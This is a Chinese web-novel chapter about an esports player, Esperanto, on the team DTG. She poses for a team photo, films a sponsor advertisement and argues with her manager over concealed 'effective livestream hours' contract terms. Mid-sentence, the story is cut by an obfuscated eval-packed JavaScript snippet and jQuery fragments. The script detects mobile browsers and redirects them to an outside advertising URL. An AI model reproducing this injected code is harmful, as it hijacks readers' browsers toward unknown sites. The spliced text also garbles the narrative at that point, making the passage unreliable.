“既然都粘好了，我们一起拍张合影吧！”
阮文竹边翻译，边给工作人员排站位；经理抚摸过定格的每一冠，细细调整平齐；PD捧了部拍立得，急匆匆从办公室赶来。
“Esperanto，smile！”
工作人员挤拥在喻昭苏身侧，语笑喧哗似在释放点燃，打断了钻进基地的凉风。
“Okay，perfect——THREE，TWO，ONE！”
“咔嚓——”
鼠标大小的合照以花环为框，占据了整墙的最C位。
“Esper！”
阮文竹喊住下一楼觅食的喻昭苏，向她传达经理又灵光一闪的提议。
“经理希望你拍一个Roomtour，介绍一下DTG基地。”
“什么时间？”
“现在。”
喻昭苏:“……”
照片墙也许是花环给的灵感，Roomtour就百分百贴近LPL和LCK运营风格了——将选手日常真实地展示，满足粉丝的好奇和关心，以此来巩固支持。
再思及昨晚的纪录片……
经理啊，你是不是每餐靠两赛区战队的物料视频下饭啊？
并且跃跃欲试？
“现在可是休赛期，”喻昭苏架起胳膊，在头顶重重交错，明确展现她的拒绝，“连轴转加班NO！”
何况一白日没进食，说话的工夫，肚子已经ping给她千八百个信号了。
“只需要Esper你录几句话，其余素材我们另找时间补拍。”
“经理既然这样说，那么我想问了，Roomtour为什么不能‘另找时间拍’？”
经理挥舞着胖手，嘟嘟囔囔打补丁。
喻昭苏甩了甩脑袋，先发制人。
“不行，再不吃东西DTG该失去上单了，我觅食去了哈！”
放下话，她就开疾跑溜了。
经理还卡在中译外的一步，待听阮文竹翻完，喻昭苏早没影了。
“哎——算了，Roomtour不急，先放放也行。”
“重要的是之后的拍摄……”
*
休赛期如同假期，尚未体会到放松的实感，就已凭空失踪了半数的时间。
这日，喻昭苏上过线上语言课。
她捧了茶杯，坐在地板上悠哉哉晒暖，打算等日头落一落再去rank。
过了一会儿，忽然一阵敲门声，打断了她规划英雄出装的思路。
“Esper，”门外，阮文竹扬声道，“收拾好了嘛？我们准备出发啦！”
喻昭苏被问得一头雾水。
“收拾什么？去哪儿？”
“去拍摄呀！”
DTG外设赞助商最近要出新型号耳机，恰巧休赛期，就拉选手拍个广告卖货。
经理、阮文竹和工作人员轮流通知过。
只是她忙于学语言，竟把这事抛到了脑后。
暖是没得晒了。
喻昭苏惊坐起，抓了队服外衣出门：“就来！”
为了拍摄，中下野也归队了，现下蹲在基地门前闲聊。
或许一放假就远离了LOL，三人歇得面色红润、中气十足，讲话比打比赛时有精神多了。
坐上车，声音被压进局促的空间，更显聒噪。
和阮文竹说句话，喻昭苏都得扯着嗓子。
“辅助呢？他不去？”
“4115在医院，”阮文竹圈起手喊，“我们现在去接他！”
到医院时，还见到了4115妹妹，和哥哥一起在路边等。
喻昭苏和她打招呼，小姑娘眼睛晶亮地回应，还掏出了一瓶维生素软糖分发。
“稍等……”
在上下口袋里摸找一番，喻昭苏掏出一瓶比赛时嚼的口香糖。
“Giveyou！”
妹妹当即捏了两颗放进嘴里，要吹泡泡给她看。
副驾的经理却扭身催促，说要迟到了。
“赞助商已经在问啦！”
口香糖还在被驯服阶段，喻昭苏是看不到妹妹比划的“盘子大泡泡”了，颇感遗憾地告别。
她走后，妹妹独自站在医院门口，吹了个拳头大小的泡泡。
车子行远，喻昭苏竭力去瞧。
视野里，只有一点模糊的白，似一片雪。
*
一抵达拍摄场地，选手就集体被捉去化妆。
拍广告不同于平时打比赛，妆造之类要复杂得多，耗费的时间也久。
喻昭苏灵机一动。
“休赛这些日子，我的语言学习成果丰厚，想和他们交流试试，帮我问一下可以吗？”
闻言，四人积极回应。
“必须的呀！”
“Esperanto选手请出题。”
听力考试开始！
一时间，化妆间成了队内语音，游戏术语灌满了每一双耳朵。
多重复三五遍，喻昭苏就能听懂个七七八八，再稍微回想片刻，便能准确应答——就是声调还是一股火锅味，略显奇怪，但都能听懂。
白茶老师的语言班卓有成效，值得一个五星。
[喻昭苏]：[好苹]
甚至化妆师的简单提醒，阮文竹还没来得及翻译，她已经接收并照做了。
雀跃泛起，喻昭苏就着昂扬的情绪，又背了十个词。
经理蹲坐一旁刷手机，听闻她们念叨游戏，重声清清嗓子，抛出个话题。
“他问有没有关注版本更新？”
赛季伊始，游戏版本有一次较为重大的更新，削增一些英雄和装备，改动改动峡谷。
这次更新反应入职业联赛，会直接影响队伍战术、比赛节奏，以及选手的发挥。适应不了新版本的选手，这场人还在首发，下一场可能就看饮水机去了。
队伍同理，去年位列联赛前列、剑指世界赛，峡谷一改，兴许就俯冲垫底——哪怕S赛冠军，也躲不过版本的追杀。
一代版本一代神，没有英雄一直版本T0，也没有选手永远伫立巅峰。
“当然，”语言实力使喻昭苏交谈的欲|望高涨，她垂下手机，理所当然道，“排位都打二十把了，怎么会没关注？”
辅助附和：“是呢，版本的事情谁会不上心？”
“我……”角落的Oops悄悄举手，“光顾着和朋友吃吃喝喝，忘记了。”
经理鼓掌：“逮到一个。”
“呀，有叛徒啊！”
喻昭苏携带翻译进场，围攻中单：“罚你现在去看！”
Oops灰溜溜查找更新公告，并放声读了出来。
他话音刚落，经理便迫不及待询问选手们的看法。他抽了支假花充当话筒，率先伸向4115。
喻昭苏从镜中观察了身后，和阮文竹说悄悄话。
“感觉到了拍摄场地，经理格外活跃。”
“嗯？”
“他突然扮演起主持cue我们谈话，平时不这样啊……有点子不对劲。”
她抬眼环顾四周。
身边不知何时围了三四台相机，有两位是赞助商的摄影师，从进门就在拍了，其余都属于俱乐部。
“摄像机在拍什么？”
“花絮，经理交待的。”
那难怪了。
4115也发现了摄像机的存在，直接询问。
“是赞助商的要求，”经理摊手，“我也没有办法——麻烦再多说一点吧！”
辅助不愿在镜头前多说，摆手婉拒，中下野随之躲避。
摄影师只得放弃他们，纷纷转向上单。
喻昭苏答了段套话，没有什么实际的内容。
其后，房间里安静下来，除去回应化妆师，选手们都不讲话了。经理努力活跃气氛，却收效甚微。
*
拍摄持续到深夜才结束。
给赞助商拍过广告，经理借着现成的妆造，拍了一组羽毛发夹的商品图。
一群人累得精疲力竭，弓背拖脚地挪出拍摄场地，活脱脱一群妆造精致的丧尸。
LuffyX父母来接他，中野要一起去夜宵……她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195251|165635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们在车前分别。
戳手机的经理忽然抬头，笑意满面地提醒：
“虽是休赛期，可直播还是要做的，各位不要忘记，该播的赶紧播，你们的时长可都不够！”
中下野一齐哀嚎，当场做出了兰德里的苦楚（痛苦面具）。
“不够吗？”辅助问，“我记得我的都超过了。”
“算的是有效时长呀，当然不够。”
“有效直播时长”不和“直播时长”划等号，它对直播内容和画面有一定的条件，不是播了就有。
然而，“有效”的计算方法和标准都不透明，最终播得够与不够，全凭平台定夺了。
很可能吭哧吭哧播超了一倍，也够不到“有效”的线——
然后，直接快进到违约金流程。
“有效时长？”听了阮文竹的翻译，喻昭苏拧眉指出，“你当时没有告诉我们。”
“没有吗？估计事情太多，忽略了。”
另外四人不知道什么叫“有效时长”，划开手机一查，当即炸开了锅。
“啊，经理你故意坑我吗？”
“合同你们都有，”经理辩解，“当时为什么没有仔细看？”
“不是，你画饼催我们签？哪有时间仔细检查呀！”
眼看要呛起来，喻昭苏一声响指打断他们。
刚才一个个还累得要死，怎么这会儿又有力气吵架？
“合同已经白纸黑字签了，现在分锅没有意义。”
她转向经理：“我要知道有效时长什么标准，否则总是播不到，还训不训练了？”
“是啊，”LuffyX率先附和，“我也要知道！”
经理当时收了平台的钱，才隐瞒不报，将选手蒙在鼓里。
谁知说漏嘴了……
他自知理亏，只得答应下来。
*
隔日。
“有效时长”标准就发到了喻昭苏手机上。
琐碎的、无所谓的有一堆，其中，最主要的一条是：游戏和选手处于同一画面，才计入时长。
群聊里，中野第一时间嚷嚷，喻昭苏按了机翻。
“幸运幸运！”
“昨晚，我看有人说算观看人数量、礼物金额，吓得睡不住觉，幸运没有！”
“不消息了，补直播去。”
喻昭苏仔细读了两遍，上过课，也去了训练室开始直播。
无它，唯欠债尔。
她欠的时长最多，如果全堆到月末，得夜以继日好些天才能播完。
“哈喽，中午好！”
等了会儿，弹幕才逐渐增多。
“祝贺冬冠！！！中午好哇，srds国内已经炫夜宵啦~~~”
“阳间时间阳间主播，还怪不适应的，看来我真凌晨直播被KPI狠了。”
“Esper好[星星眼]！！！买了DTG夺冠纪念发夹，好闪好漂酿！！！”
“主包看夺冠纪录片了没？呜呜在被窝里感动得一塌糊涂，真太不容易了。”
“还没看，”喻昭苏随口答，“最近忙着学习呢！”
弹幕集体催她现在看。
“包哭的！确信！”
她们愈催促，主播愈逆反心理。
“不看纪录片。”
喻昭苏打开其他直播，别人游戏、她一旁OB，怎么不算同一画面？
“刚刚见了德杯决赛的宣传，我们一起观赛吧！”
半决赛里，Dream次级联赛PLUS阵容没掉链子，三比零力克MZG拿下决赛门票。
决赛没有人员更换，还是Abuse带二队上。
“Really？观梦队的赛？”
“前打野粉丝可是蓄势待发，主播你清醒一点啊！”
“都被踢走了还虐恋，哈哈祝亖~~~”
“丸辣，已经打进来了[顶锅盖]”
喻昭苏开启发言限制，恰巧此时，比赛加载出来。
N6直取水晶，结束了这一小局。
比分跳出来：
N62-0Dream。